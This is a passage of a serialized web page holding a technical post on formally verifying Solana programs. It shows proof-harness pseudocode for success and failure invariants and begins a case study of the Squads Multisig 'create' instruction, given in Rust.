",{"type":19,"tag":27,"props":19714,"children":19716},{"className":19715},[1411,1412],[19717],{"type":19,"tag":168,"props":19718,"children":19720},{"className":19719},[1417],[19721],{"type":19,"tag":168,"props":19722,"children":19724},{"className":19723,"ariaHidden":1423},[1422],[19725,19762,19794],{"type":19,"tag":168,"props":19726,"children":19728},{"className":19727},[1428],[19729,19733,19738,19743,19748,19752,19758],{"type":19,"tag":168,"props":19730,"children":19732},{"className":19731,"style":1541},[1433],[],{"type":19,"tag":168,"props":19734,"children":19736},{"className":19735},[19172],[19737],{"type":24,"value":500},{"type":19,"tag":168,"props":19739,"children":19741},{"className":19740,"style":19044},[1439,19043],[19742],{"type":24,"value":19047},{"type":19,"tag":168,"props":19744,"children":19746},{"className":19745},[1439],[19747],{"type":24,"value":1452},{"type":19,"tag":168,"props":19749,"children":19751},{"className":19750,"style":1521},[1520],[],{"type":19,"tag":168,"props":19753,"children":19755},{"className":19754},[1526],[19756],{"type":24,"value":19757},"∧",{"type":19,"tag":168,"props":19759,"children":19761},{"className":19760,"style":1521},[1520],[],{"type":19,"tag":168,"props":19763,"children":19765},{"className":19764},[1428],[19766,19770,19775,19780,19784,19790],{"type":19,"tag":168,"props":19767,"children":19769},{"className":19768,"style":1541},[1433],[],{"type":19,"tag":168,"props":19771,"children":19773},{"className":19772,"style":19575},[1439,19043],[19774],{"type":24,"value":19578},{"type":19,"tag":168,"props":19776,"children":19778},{"className":19777},[19194],[19779],{"type":24,"value":524},{"type":19,"tag":168,"props":19781,"children":19783},{"className":19782,"style":1618},[1520],[],{"type":19,"tag":168,"props":19785,"children":19787},{"className":19786},[1623],[19788],{"type":24,"value":19789},"→",{"type":19,"tag":168,"props":19791,"children":19793},{"className":19792,"style":1618},[1520],[],{"type":19,"tag":168,"props":19795,"children":19797},{"className":19796},[1428],[19798,19802,19807],{"type":19,"tag":168,"props":19799,"children":19801},{"className":19800,"style":19038},[1433],[],{"type":19,"tag":168,"props":19803,"children":19805},{"className":19804,"style":19044},[1439,19043],[19806],{"type":24,"value":19047},{"type":19,"tag":168,"props":19808,"children":19810},{"className":19809},[1439],[19811],{"type":24,"value":1442},{"type":19,"tag":20,"props":19813,"children":19814},{},[19815],{"type":24,"value":19816},"We can construct a proof harness like the following:",{"type":19,"tag":158,"props":19818,"children":19820},{"code":19819,"language":16914,"meta":7,"className":16915,"style":7},"assume(P0)\nres = instruction_handler(...)\nassert(!K || P1)\n",[19821],{"type":19,"tag":27,"props":19822,"children":19823},{"__ignoreMap":7},[19824,19832,19849],{"type":19,"tag":168,"props":19825,"children":19826},{"class":170,"line":171},[19827],{"type":19,"tag":168,"props":19828,"children":19829},{"style":212},[19830],{"type":24,"value":19831},"assume(P0)\n",{"type":19,"tag":168,"props":19833,"children":19834},{"class":170,"line":198},[19835,19840,19844],{"type":19,"tag":168,"props":19836,"children":19837},{"style":212},[19838],{"type":24,"value":19839},"res ",{"type":19,"tag":168,"props":19841,"children":19842},{"style":399},[19843],{"type":24,"value":486},{"type":19,"tag":168,"props":19845,"children":19846},{"style":212},[19847],{"type":24,"value":19848}," instruction_handler(...)\n",{"type":19,"tag":168,"props":19850,"children":19851},{"class":170,"line":415},[19852,19856,19860,19865,19870,19875],{"type":19,"tag":168,"props":19853,"children":19854},{"style":419},[19855],{"type":24,"value":17438},{"type":19,"tag":168,"props":19857,"children":19858},{"style":212},[19859],{"type":24,"value":500},{"type":19,"tag":168,"props":19861,"children":19863},{"style":19862},"--shiki-default:#F44747",[19864],{"type":24,"value":18076},{"type":19,"tag":168,"props":19866,"children":19867},{"style":212},[19868],{"type":24,"value":19869},"K ",{"type":19,"tag":168,"props":19871,"children":19872},{"style":19862},[19873],{"type":24,"value":19874},"||",{"type":19,"tag":168,"props":19876,"children":19877},{"style":212},[19878],{"type":24,"value":19879}," P1)\n",{"type":19,"tag":20,"props":19881,"children":19882},{},[19883],{"type":24,"value":19884},"By itself, this harness doesn't actually prove much. For example, if the instruction fails every time, this proof will still work. However, in conjunction with the two subsequent proofs we can be assured that the instruction will actually succeed when we expect it to.",{"type":19,"tag":7050,"props":19886,"children":19888},{"id":19887},"positive-instruction-invariant",[19889],{"type":24,"value":19890},"Positive instruction invariant",{"type":19,"tag":20,"props":19892,"children":19893},{},[19894,19896,19902,19904,19955],{"type":24,"value":19895},"Next we need to prove that ",{"type":19,"tag":27,"props":19897,"children":19899},{"className":19898},[],[19900],{"type":24,"value":19901},"success_if",{"type":24,"value":19903}," is a sufficient condition for instruction success. I.e. ",{"type":19,"tag":27,"props":19905,"children":19907},{"className":19906},[1411,1412],[19908],{"type":19,"tag":168,"props":19909,"children":19911},{"className":19910},[1417],[19912],{"type":19,"tag":168,"props":19913,"children":19915},{"className":19914,"ariaHidden":1423},[1422],[19916,19942],{"type":19,"tag":168,"props":19917,"children":19919},{"className":19918},[1428],[19920,19924,19929,19933,19938],{"type":19,"tag":168,"props":19921,"children":19923},{"className":19922,"style":19038},[1433],[],{"type":19,"tag":168,"props":19925,"children":19927},{"className":19926,"style":19502},[1439,19043],[19928],{"type":24,"value":19505},{"type":19,"tag":168,"props":19930,"children":19932},{"className":19931,"style":1618},[1520],[],{"type":19,"tag":168,"props":19934,"children":19936},{"className":19935},[1623],[19937],{"type":24,"value":19789},{"type":19,"tag":168,"props":19939,"children":19941},{"className":19940,"style":1618},[1520],[],{"type":19,"tag":168,"props":19943,"children":19945},{"className":19944},[1428],[19946,19950],{"type":19,"tag":168,"props":19947,"children":19949},{"className":19948,"style":19038},[1433],[],{"type":19,"tag":168,"props":19951,"children":19953},{"className":19952,"style":19575},[1439,19043],[19954],{"type":24,"value":19578},{"type":24,"value":948},{"type":19,"tag":20,"props":19957,"children":19958},{},[19959],{"type":24,"value":19960},"Just like before we can construct a proof harness:",{"type":19,"tag":158,"props":19962,"children":19964},{"code":19963,"language":16914,"meta":7,"className":16915,"style":7},"assume(S)\nres = instruction_handler(...)\nassert(K)\n",[19965],{"type":19,"tag":27,"props":19966,"children":19967},{"__ignoreMap":7},[19968,19976,19991],{"type":19,"tag":168,"props":19969,"children":19970},{"class":170,"line":171},[19971],{"type":19,"tag":168,"props":19972,"children":19973},{"style":212},[19974],{"type":24,"value":19975},"assume(S)\n",{"type":19,"tag":168,"props":19977,"children":19978},{"class":170,"line":198},[19979,19983,19987],{"type":19,"tag":168,"props":19980,"children":19981},{"style":212},[19982],{"type":24,"value":19839},{"type":19,"tag":168,"props":19984,"children":19985},{"style":399},[19986],{"type":24,"value":486},{"type":19,"tag":168,"props":19988,"children":19989},{"style":212},[19990],{"type":24,"value":19848},{"type":19,"tag":168,"props":19992,"children":19993},{"class":170,"line":415},[19994,19998],{"type":19,"tag":168,"props":19995,"children":19996},{"style":419},[19997],{"type":24,"value":17438},{"type":19,"tag":168,"props":19999,"children":20000},{"style":212},[20001],{"type":24,"value":20002},"(K)\n",{"type":19,"tag":20,"props":20004,"children":20005},{},[20006,20008,20013,20015,20027],{"type":24,"value":20007},"This proof assures that whenever ",{"type":19,"tag":27,"props":20009,"children":20011},{"className":20010},[],[20012],{"type":24,"value":17609},{"type":24,"value":20014}," is satisfied, the instruction will succeed. However, remember that since this is not a biconditional, the instruction may also succeed ",{"type":19,"tag":293,"props":20016,"children":20017},{},[20018,20020,20025],{"type":24,"value":20019},"even if ",{"type":19,"tag":27,"props":20021,"children":20023},{"className":20022},[],[20024],{"type":24,"value":17609},{"type":24,"value":20026}," is not satisfied",{"type":24,"value":20028},". To specify explicit error conditions we need our third and final proof.",{"type":19,"tag":7050,"props":20030,"children":20032},{"id":20031},"_3-negative-instruction-invariant",[20033],{"type":24,"value":20034},"3. Negative instruction invariant",{"type":19,"tag":20,"props":20036,"children":20037},{},[20038,20040,20045,20047,20103],{"type":24,"value":20039},"Finally, we want to prove that ",{"type":19,"tag":27,"props":20041,"children":20043},{"className":20042},[],[20044],{"type":24,"value":17616},{"type":24,"value":20046}," is a sufficient condition for instruction failure. I.e. ",{"type":19,"tag":27,"props":20048,"children":20050},{"className":20049},[1411,1412],[20051],{"type":19,"tag":168,"props":20052,"children":20054},{"className":20053},[1417],[20055],{"type":19,"tag":168,"props":20056,"children":20058},{"className":20057,"ariaHidden":1423},[1422],[20059,20085],{"type":19,"tag":168,"props":20060,"children":20062},{"className":20061},[1428],[20063,20067,20072,20076,20081],{"type":19,"tag":168,"props":20064,"children":20066},{"className":20065,"style":19038},[1433],[],{"type":19,"tag":168,"props":20068,"children":20070},{"className":20069,"style":19502},[1439,19043],[20071],{"type":24,"value":19540},{"type":19,"tag":168,"props":20073,"children":20075},{"className":20074,"style":1618},[1520],[],{"type":19,"tag":168,"props":20077,"children":20079},{"className":20078},[1623],[20080],{"type":24,"value":19789},{"type":19,"tag":168,"props":20082,"children":20084},{"className":20083,"style":1618},[1520],[],{"type":19,"tag":168,"props":20086,"children":20088},{"className":20087},[1428],[20089,20093,20098],{"type":19,"tag":168,"props":20090,"children":20092},{"className":20091,"style":19038},[1433],[],{"type":19,"tag":168,"props":20094,"children":20096},{"className":20095},[1439],[20097],{"type":24,"value":19636},{"type":19,"tag":168,"props":20099,"children":20101},{"className":20100,"style":19575},[1439,19043],[20102],{"type":24,"value":19578},{"type":24,"value":948},{"type":19,"tag":20,"props":20105,"children":20106},{},[20107],{"type":24,"value":20108},"This harness looks just like the previous one:",{"type":19,"tag":158,"props":20110,"children":20112},{"code":20111,"language":16914,"meta":7,"className":16915,"style":7},"assume(E)\nres = instruction_handler(...)\nassert(!K)\n",[20113],{"type":19,"tag":27,"props":20114,"children":20115},{"__ignoreMap":7},[20116,20124,20139],{"type":19,"tag":168,"props":20117,"children":20118},{"class":170,"line":171},[20119],{"type":19,"tag":168,"props":20120,"children":20121},{"style":212},[20122],{"type":24,"value":20123},"assume(E)\n",{"type":19,"tag":168,"props":20125,"children":20126},{"class":170,"line":198},[20127,20131,20135],{"type":19,"tag":168,"props":20128,"children":20129},{"style":212},[20130],{"type":24,"value":19839},{"type":19,"tag":168,"props":20132,"children":20133},{"style":399},[20134],{"type":24,"value":486},{"type":19,"tag":168,"props":20136,"children":20137},{"style":212},[20138],{"type":24,"value":19848},{"type":19,"tag":168,"props":20140,"children":20141},{"class":170,"line":415},[20142,20146,20150,20154],{"type":19,"tag":168,"props":20143,"children":20144},{"style":419},[20145],{"type":24,"value":17438},{"type":19,"tag":168,"props":20147,"children":20148},{"style":212},[20149],{"type":24,"value":500},{"type":19,"tag":168,"props":20151,"children":20152},{"style":19862},[20153],{"type":24,"value":18076},{"type":19,"tag":168,"props":20155,"children":20156},{"style":212},[20157],{"type":24,"value":20158},"K)\n",{"type":19,"tag":20,"props":20160,"children":20161},{},[20162,20164,20168],{"type":24,"value":20163},"With these three harnesses, we are now able to formally verify that instructions succeed or fail when we expect them to ",{"type":19,"tag":293,"props":20165,"children":20166},{},[20167],{"type":24,"value":13820},{"type":24,"value":20169}," the account invariants we expect are always being preserved.",{"type":19,"tag":36,"props":20171,"children":20173},{"id":20172},"case-study-squads-multisig",[20174],{"type":24,"value":20175},"Case study: Squads Multisig",{"type":19,"tag":20,"props":20177,"children":20178},{},[20179,20181,20186],{"type":24,"value":20180},"During our research, we focused on formally verifying aspects of the ",{"type":19,"tag":269,"props":20182,"children":20184},{"href":16276,"rel":20183},[273],[20185],{"type":24,"value":16280},{"type":24,"value":948},{"type":19,"tag":20,"props":20188,"children":20189},{},[20190,20192,20198,20200,20206],{"type":24,"value":20191},"The program defines a Multisig account (",{"type":19,"tag":27,"props":20193,"children":20195},{"className":20194},[],[20196],{"type":24,"value":20197},"Ms",{"type":24,"value":20199},") which has multiple members. These members can propose and then vote on transactions to execute on behalf of the multisig. If at least some ",{"type":19,"tag":27,"props":20201,"children":20203},{"className":20202},[],[20204],{"type":24,"value":20205},"threshold",{"type":24,"value":20207}," of members vote yes, the transaction will be invoked. Additionally, there is functionality to add/remove users and update the threshold.",{"type":19,"tag":20,"props":20209,"children":20210},{},[20211],{"type":24,"value":20212},"In practice, this structure provides a useful way to distribute authority across a group of individuals. From a formal verification perspective, it has both stateless and stateful features and constraints that provided a good testbed for our tooling.",{"type":19,"tag":20,"props":20214,"children":20215},{},[20216],{"type":24,"value":20217},"In this section we will go through a few examples of properties that we can verify on this program:",{"type":19,"tag":2869,"props":20219,"children":20220},{},[20221,20226,20231,20236],{"type":19,"tag":47,"props":20222,"children":20223},{},[20224],{"type":24,"value":20225},"Incrementally verifying minimum requirements to create a multisig",{"type":19,"tag":47,"props":20227,"children":20228},{},[20229],{"type":24,"value":20230},"Verify threshold requirements",{"type":19,"tag":47,"props":20232,"children":20233},{},[20234],{"type":24,"value":20235},"Verify requirements to remove a member",{"type":19,"tag":47,"props":20237,"children":20238},{},[20239],{"type":24,"value":20240},"Safety guarantees",{"type":19,"tag":7050,"props":20242,"children":20244},{"id":20243},"_1-incrementally-verifying-minimum-requirements-to-create-a-multisig",[20245],{"type":24,"value":20246},"1. Incrementally verifying minimum requirements to create a multisig",{"type":19,"tag":20,"props":20248,"children":20249},{},[20250,20252,20257],{"type":24,"value":20251},"Suppose we want to verify the minimum requirements to create a multisig, i.e. the ",{"type":19,"tag":27,"props":20253,"children":20255},{"className":20254},[],[20256],{"type":24,"value":17609},{"type":24,"value":20258}," expression.",{"type":19,"tag":20,"props":20260,"children":20261},{},[20262,20264,20269,20271,20277],{"type":24,"value":20263},"Creating a multisig (",{"type":19,"tag":27,"props":20265,"children":20267},{"className":20266},[],[20268],{"type":24,"value":20197},{"type":24,"value":20270},") requires invoking the ",{"type":19,"tag":27,"props":20272,"children":20274},{"className":20273},[],[20275],{"type":24,"value":20276},"create",{"type":24,"value":20278}," instruction:",{"type":19,"tag":158,"props":20280,"children":20282},{"code":20281,"language":362,"meta":7,"className":363,"style":7},"#[derive(Accounts)]\n#[instruction(threshold: u16, create_key: Pubkey, members: Vec\u003CPubkey>)]\npub struct Create\u003C'info> {\n #[account(\n init,\n payer = creator,\n space = Ms::SIZE_WITHOUT_MEMBERS + (members.len() * 32),\n seeds = [b\"squad\", create_key.as_ref(), b\"multisig\"], bump\n )]\n pub multisig: Account\u003C'info, Ms>,\n\n #[account(mut)]\n pub creator: Signer\u003C'info>,\n pub system_program: Program\u003C'info, System>,\n}\n\npub fn create(\n ctx: Context\u003CCreate>,\n threshold: u16,\n create_key: Pubkey,\n members: Vec\u003CPubkey>,\n) -> Result\u003C()> {\n // sort the members and remove duplicates\n let mut members = members;\n members.sort();\n members.dedup();\n\n // check we don't exceed u16\n let total_members = members.len();\n if total_members \u003C 1 {\n return err!(MsError::EmptyMembers);\n }\n\n // make sure we don't exceed u16 on first call\n if total_members > usize::from(u16::MAX) {\n return err!(MsError::MaxMembersReached);\n }\n\n // make sure threshold is valid\n if usize::from(threshold) \u003C 1 || usize::from(threshold) > total_members {\n return err!(MsError::InvalidThreshold);\n }\n\n ctx.accounts.multisig.init(\n threshold,\n create_key,\n members,\n *ctx.bumps.get(\"multisig\").unwrap(),\n )\n}\n",[20283],{"type":19,"tag":27,"props":20284,"children":20285},{"__ignoreMap":7},[20286,20303,20358,20388,20396,20404,20421,20472,20522,20530,20571,20578,20594,20627,20669,20676,20683,20702,20730,20750,20770,20798,20817,20825,20853,20873,20893,20900,20908,20940,20963,20998,21006,21014,21023,21065,21098,21106,21114,21123,21199,21232,21240,21248,21285,21298,21311,21324,21378,21387],{"type":19,"tag":168,"props":20287,"children":20288},{"class":170,"line":171},[20289,20294,20299],{"type":19,"tag":168,"props":20290,"children":20291},{"style":212},[20292],{"type":24,"value":20293},"#[derive(",{"type":19,"tag":168,"props":20295,"children":20296},{"style":825},[20297],{"type":24,"value":20298},"Accounts",{"type":19,"tag":168,"props":20300,"children":20301},{"style":212},[20302],{"type":24,"value":17713},{"type":19,"tag":168,"props":20304,"children":20305},{"class":170,"line":198},[20306,20311,20315,20319,20324,20328,20332,20337,20341,20345,20349,20353],{"type":19,"tag":168,"props":20307,"children":20308},{"style":212},[20309],{"type":24,"value":20310},"#[instruction(threshold",{"type":19,"tag":168,"props":20312,"children":20313},{"style":399},[20314],{"type":24,"value":1922},{"type":19,"tag":168,"props":20316,"children":20317},{"style":825},[20318],{"type":24,"value":18485},{"type":19,"tag":168,"props":20320,"children":20321},{"style":212},[20322],{"type":24,"value":20323},", create_key",{"type":19,"tag":168,"props":20325,"children":20326},{"style":399},[20327],{"type":24,"value":1922},{"type":19,"tag":168,"props":20329,"children":20330},{"style":825},[20331],{"type":24,"value":18312},{"type":19,"tag":168,"props":20333,"children":20334},{"style":212},[20335],{"type":24,"value":20336},", members",{"type":19,"tag":168,"props":20338,"children":20339},{"style":399},[20340],{"type":24,"value":1922},{"type":19,"tag":168,"props":20342,"children":20343},{"style":825},[20344],{"type":24,"value":18844},{"type":19,"tag":168,"props":20346,"children":20347},{"style":212},[20348],{"type":24,"value":3240},{"type":19,"tag":168,"props":20350,"children":20351},{"style":825},[20352],{"type":24,"value":18853},{"type":19,"tag":168,"props":20354,"children":20355},{"style":212},[20356],{"type":24,"value":20357},">)]\n",{"type":19,"tag":168,"props":20359,"children":20360},{"class":170,"line":415},[20361,20365,20369,20374,20379,20384],{"type":19,"tag":168,"props":20362,"children":20363},{"style":382},[20364],{"type":24,"value":11136},{"type":19,"tag":168,"props":20366,"children":20367},{"style":382},[20368],{"type":24,"value":18606},{"type":19,"tag":168,"props":20370,"children":20371},{"style":825},[20372],{"type":24,"value":20373}," Create",{"type":19,"tag":168,"props":20375,"children":20376},{"style":212},[20377],{"type":24,"value":20378},"\u003C'",{"type":19,"tag":168,"props":20380,"children":20381},{"style":825},[20382],{"type":24,"value":20383},"info",{"type":19,"tag":168,"props":20385,"children":20386},{"style":212},[20387],{"type":24,"value":4717},{"type":19,"tag":168,"props":20389,"children":20390},{"class":170,"line":450},[20391],{"type":19,"tag":168,"props":20392,"children":20393},{"style":212},[20394],{"type":24,"value":20395}," #[account(\n",{"type":19,"tag":168,"props":20397,"children":20398},{"class":170,"line":560},[20399],{"type":19,"tag":168,"props":20400,"children":20401},{"style":212},[20402],{"type":24,"value":20403}," init,\n",{"type":19,"tag":168,"props":20405,"children":20406},{"class":170,"line":666},[20407,20412,20416],{"type":19,"tag":168,"props":20408,"children":20409},{"style":212},[20410],{"type":24,"value":20411}," payer ",{"type":19,"tag":168,"props":20413,"children":20414},{"style":399},[20415],{"type":24,"value":486},{"type":19,"tag":168,"props":20417,"children":20418},{"style":212},[20419],{"type":24,"value":20420}," creator,\n",{"type":19,"tag":168,"props":20422,"children":20423},{"class":170,"line":694},[20424,20429,20433,20437,20441,20446,20450,20455,20459,20463,20467],{"type":19,"tag":168,"props":20425,"children":20426},{"style":212},[20427],{"type":24,"value":20428}," space ",{"type":19,"tag":168,"props":20430,"children":20431},{"style":399},[20432],{"type":24,"value":486},{"type":19,"tag":168,"props":20434,"children":20435},{"style":825},[20436],{"type":24,"value":18611},{"type":19,"tag":168,"props":20438,"children":20439},{"style":399},[20440],{"type":24,"value":888},{"type":19,"tag":168,"props":20442,"children":20443},{"style":825},[20444],{"type":24,"value":20445},"SIZE_WITHOUT_MEMBERS",{"type":19,"tag":168,"props":20447,"children":20448},{"style":399},[20449],{"type":24,"value":6343},{"type":19,"tag":168,"props":20451,"children":20452},{"style":212},[20453],{"type":24,"value":20454}," (members",{"type":19,"tag":168,"props":20456,"children":20457},{"style":399},[20458],{"type":24,"value":948},{"type":19,"tag":168,"props":20460,"children":20461},{"style":212},[20462],{"type":24,"value":18476},{"type":19,"tag":168,"props":20464,"children":20465},{"style":399},[20466],{"type":24,"value":2002},{"type":19,"tag":168,"props":20468,"children":20469},{"style":212},[20470],{"type":24,"value":20471}," 32),\n",{"type":19,"tag":168,"props":20473,"children":20474},{"class":170,"line":707},[20475,20480,20484,20489,20494,20498,20502,20507,20512,20517],{"type":19,"tag":168,"props":20476,"children":20477},{"style":212},[20478],{"type":24,"value":20479}," seeds ",{"type":19,"tag":168,"props":20481,"children":20482},{"style":399},[20483],{"type":24,"value":486},{"type":19,"tag":168,"props":20485,"children":20486},{"style":212},[20487],{"type":24,"value":20488}," [",{"type":19,"tag":168,"props":20490,"children":20491},{"style":181},[20492],{"type":24,"value":20493},"b\"squad\"",{"type":19,"tag":168,"props":20495,"children":20496},{"style":212},[20497],{"type":24,"value":20323},{"type":19,"tag":168,"props":20499,"children":20500},{"style":399},[20501],{"type":24,"value":948},{"type":19,"tag":168,"props":20503,"children":20504},{"style":212},[20505],{"type":24,"value":20506},"as_ref(), ",{"type":19,"tag":168,"props":20508,"children":20509},{"style":181},[20510],{"type":24,"value":20511},"b\"multisig\"",{"type":19,"tag":168,"props":20513,"children":20514},{"style":212},[20515],{"type":24,"value":20516},"], ",{"type":19,"tag":168,"props":20518,"children":20519},{"style":393},[20520],{"type":24,"value":20521},"bump\n",{"type":19,"tag":168,"props":20523,"children":20524},{"class":170,"line":725},[20525],{"type":19,"tag":168,"props":20526,"children":20527},{"style":212},[20528],{"type":24,"value":20529}," )]\n",{"type":19,"tag":168,"props":20531,"children":20532},{"class":170,"line":746},[20533,20537,20542,20546,20551,20555,20559,20563,20567],{"type":19,"tag":168,"props":20534,"children":20535},{"style":382},[20536],{"type":24,"value":18298},{"type":19,"tag":168,"props":20538,"children":20539},{"style":393},[20540],{"type":24,"value":20541}," multisig",{"type":19,"tag":168,"props":20543,"children":20544},{"style":399},[20545],{"type":24,"value":1922},{"type":19,"tag":168,"props":20547,"children":20548},{"style":825},[20549],{"type":24,"value":20550}," Account",{"type":19,"tag":168,"props":20552,"children":20553},{"style":212},[20554],{"type":24,"value":20378},{"type":19,"tag":168,"props":20556,"children":20557},{"style":825},[20558],{"type":24,"value":20383},{"type":19,"tag":168,"props":20560,"children":20561},{"style":212},[20562],{"type":24,"value":471},{"type":19,"tag":168,"props":20564,"children":20565},{"style":825},[20566],{"type":24,"value":20197},{"type":19,"tag":168,"props":20568,"children":20569},{"style":212},[20570],{"type":24,"value":3573},{"type":19,"tag":168,"props":20572,"children":20573},{"class":170,"line":755},[20574],{"type":19,"tag":168,"props":20575,"children":20576},{"emptyLinePlaceholder":14},[20577],{"type":24,"value":1093},{"type":19,"tag":168,"props":20579,"children":20580},{"class":170,"line":1008},[20581,20586,20590],{"type":19,"tag":168,"props":20582,"children":20583},{"style":212},[20584],{"type":24,"value":20585}," #[account(",{"type":19,"tag":168,"props":20587,"children":20588},{"style":382},[20589],{"type":24,"value":1142},{"type":19,"tag":168,"props":20591,"children":20592},{"style":212},[20593],{"type":24,"value":17713},{"type":19,"tag":168,"props":20595,"children":20596},{"class":170,"line":1025},[20597,20601,20606,20610,20615,20619,20623],{"type":19,"tag":168,"props":20598,"children":20599},{"style":382},[20600],{"type":24,"value":18298},{"type":19,"tag":168,"props":20602,"children":20603},{"style":393},[20604],{"type":24,"value":20605}," creator",{"type":19,"tag":168,"props":20607,"children":20608},{"style":399},[20609],{"type":24,"value":1922},{"type":19,"tag":168,"props":20611,"children":20612},{"style":825},[20613],{"type":24,"value":20614}," Signer",{"type":19,"tag":168,"props":20616,"children":20617},{"style":212},[20618],{"type":24,"value":20378},{"type":19,"tag":168,"props":20620,"children":20621},{"style":825},[20622],{"type":24,"value":20383},{"type":19,"tag":168,"props":20624,"children":20625},{"style":212},[20626],{"type":24,"value":3573},{"type":19,"tag":168,"props":20628,"children":20629},{"class":170,"line":1042},[20630,20634,20639,20643,20648,20652,20656,20660,20665],{"type":19,"tag":168,"props":20631,"children":20632},{"style":382},[20633],{"type":24,"value":18298},{"type":19,"tag":168,"props":20635,"children":20636},{"style":393},[20637],{"type":24,"value":20638}," system_program",{"type":19,"tag":168,"props":20640,"children":20641},{"style":399},[20642],{"type":24,"value":1922},{"type":19,"tag":168,"props":20644,"children":20645},{"style":825},[20646],{"type":24,"value":20647}," Program",{"type":19,"tag":168,"props":20649,"children":20650},{"style":212},[20651],{"type":24,"value":20378},{"type":19,"tag":168,"props":20653,"children":20654},{"style":825},[20655],{"type":24,"value":20383},{"type":19,"tag":168,"props":20657,"children":20658},{"style":212},[20659],{"type":24,"value":471},{"type":19,"tag":168,"props":20661,"children":20662},{"style":825},[20663],{"type":24,"value":20664},"System",{"type":19,"tag":168,"props":20666,"children":20667},{"style":212},[20668],{"type":24,"value":3573},{"type":19,"tag":168,"props":20670,"children":20671},{"class":170,"line":1055},[20672],{"type":19,"tag":168,"props":20673,"children":20674},{"style":212},[20675],{"type":24,"value":1326},{"type":19,"tag":168,"props":20677,"children":20678},{"class":170,"line":1064},[20679],{"type":19,"tag":168,"props":20680,"children":20681},{"emptyLinePlaceholder":14},[20682],{"type":24,"value":1093},{"type":19,"tag":168,"props":20684,"children":20685},{"class":170,"line":1087},[20686,20690,20694,20698],{"type":19,"tag":168,"props":20687,"children":20688},{"style":382},[20689],{"type":24,"value":11136},{"type":19,"tag":168,"props":20691,"children":20692},{"style":382},[20693],{"type":24,"value":11141},{"type":19,"tag":168,"props":20695,"children":20696},{"style":175},[20697],{"type":24,"value":4548},{"type":19,"tag":168,"props":20699,"children":20700},{"style":212},[20701],{"type":24,"value":870},{"type":19,"tag":168,"props":20703,"children":20704},{"class":170,"line":1096},[20705,20709,20713,20717,20721,20726],{"type":19,"tag":168,"props":20706,"children":20707},{"style":393},[20708],{"type":24,"value":17678},{"type":19,"tag":168,"props":20710,"children":20711},{"style":399},[20712],{"type":24,"value":1922},{"type":19,"tag":168,"props":20714,"children":20715},{"style":825},[20716],{"type":24,"value":17744},{"type":19,"tag":168,"props":20718,"children":20719},{"style":212},[20720],{"type":24,"value":3240},{"type":19,"tag":168,"props":20722,"children":20723},{"style":825},[20724],{"type":24,"value":20725},"Create",{"type":19,"tag":168,"props":20727,"children":20728},{"style":212},[20729],{"type":24,"value":3573},{"type":19,"tag":168,"props":20731,"children":20732},{"class":170,"line":1105},[20733,20738,20742,20746],{"type":19,"tag":168,"props":20734,"children":20735},{"style":393},[20736],{"type":24,"value":20737}," threshold",{"type":19,"tag":168,"props":20739,"children":20740},{"style":399},[20741],{"type":24,"value":1922},{"type":19,"tag":168,"props":20743,"children":20744},{"style":825},[20745],{"type":24,"value":18485},{"type":19,"tag":168,"props":20747,"children":20748},{"style":212},[20749],{"type":24,"value":915},{"type":19,"tag":168,"props":20751,"children":20752},{"class":170,"line":1174},[20753,20758,20762,20766],{"type":19,"tag":168,"props":20754,"children":20755},{"style":393},[20756],{"type":24,"value":20757}," create_key",{"type":19,"tag":168,"props":20759,"children":20760},{"style":399},[20761],{"type":24,"value":1922},{"type":19,"tag":168,"props":20763,"children":20764},{"style":825},[20765],{"type":24,"value":18312},{"type":19,"tag":168,"props":20767,"children":20768},{"style":212},[20769],{"type":24,"value":915},{"type":19,"tag":168,"props":20771,"children":20772},{"class":170,"line":1182},[20773,20778,20782,20786,20790,20794],{"type":19,"tag":168,"props":20774,"children":20775},{"style":393},[20776],{"type":24,"value":20777}," members",{"type":19,"tag":168,"props":20779,"children":20780},{"style":399},[20781],{"type":24,"value":1922},{"type":19,"tag":168,"props":20783,"children":20784},{"style":825},[20785],{"type":24,"value":18844},{"type":19,"tag":168,"props":20787,"children":20788},{"style":212},[20789],{"type":24,"value":3240},{"type":19,"tag":168,"props":20791,"children":20792},{"style":825},[20793],{"type":24,"value":18853},{"type":19,"tag":168,"props":20795,"children":20796},{"style":212},[20797],{"type":24,"value":3573},{"type":19,"tag":168,"props":20799,"children":20800},{"class":170,"line":1212},[20801,20805,20809,20813],{"type":19,"tag":168,"props":20802,"children":20803},{"style":212},[20804],{"type":24,"value":481},{"type":19,"tag":168,"props":20806,"children":20807},{"style":399},[20808],{"type":24,"value":11203},{"type":19,"tag":168,"props":20810,"children":20811},{"style":825},[20812],{"type":24,"value":11208},{"type":19,"tag":168,"props":20814,"children":20815},{"style":212},[20816],{"type":24,"value":17786},{"type":19,"tag":168,"props":20818,"children":20819},{"class":170,"line":1220},[20820],{"type":19,"tag":168,"props":20821,"children":20822},{"style":373},[20823],{"type":24,"value":20824}," // sort the members and remove duplicates\n",{"type":19,"tag":168,"props":20826,"children":20827},{"class":170,"line":1252},[20828,20832,20836,20841,20845,20849],{"type":19,"tag":168,"props":20829,"children":20830},{"style":382},[20831],{"type":24,"value":385},{"type":19,"tag":168,"props":20833,"children":20834},{"style":382},[20835],{"type":24,"value":390},{"type":19,"tag":168,"props":20837,"children":20838},{"style":393},[20839],{"type":24,"value":20840}," members",{"type":19,"tag":168,"props":20842,"children":20843},{"style":399},[20844],{"type":24,"value":402},{"type":19,"tag":168,"props":20846,"children":20847},{"style":393},[20848],{"type":24,"value":20840},{"type":19,"tag":168,"props":20850,"children":20851},{"style":212},[20852],{"type":24,"value":412},{"type":19,"tag":168,"props":20854,"children":20855},{"class":170,"line":1260},[20856,20860,20864,20869],{"type":19,"tag":168,"props":20857,"children":20858},{"style":393},[20859],{"type":24,"value":20777},{"type":19,"tag":168,"props":20861,"children":20862},{"style":399},[20863],{"type":24,"value":948},{"type":19,"tag":168,"props":20865,"children":20866},{"style":175},[20867],{"type":24,"value":20868},"sort",{"type":19,"tag":168,"props":20870,"children":20871},{"style":212},[20872],{"type":24,"value":1084},{"type":19,"tag":168,"props":20874,"children":20875},{"class":170,"line":1320},[20876,20880,20884,20889],{"type":19,"tag":168,"props":20877,"children":20878},{"style":393},[20879],{"type":24,"value":20777},{"type":19,"tag":168,"props":20881,"children":20882},{"style":399},[20883],{"type":24,"value":948},{"type":19,"tag":168,"props":20885,"children":20886},{"style":175},[20887],{"type":24,"value":20888},"dedup",{"type":19,"tag":168,"props":20890,"children":20891},{"style":212},[20892],{"type":24,"value":1084},{"type":19,"tag":168,"props":20894,"children":20895},{"class":170,"line":6486},[20896],{"type":19,"tag":168,"props":20897,"children":20898},{"emptyLinePlace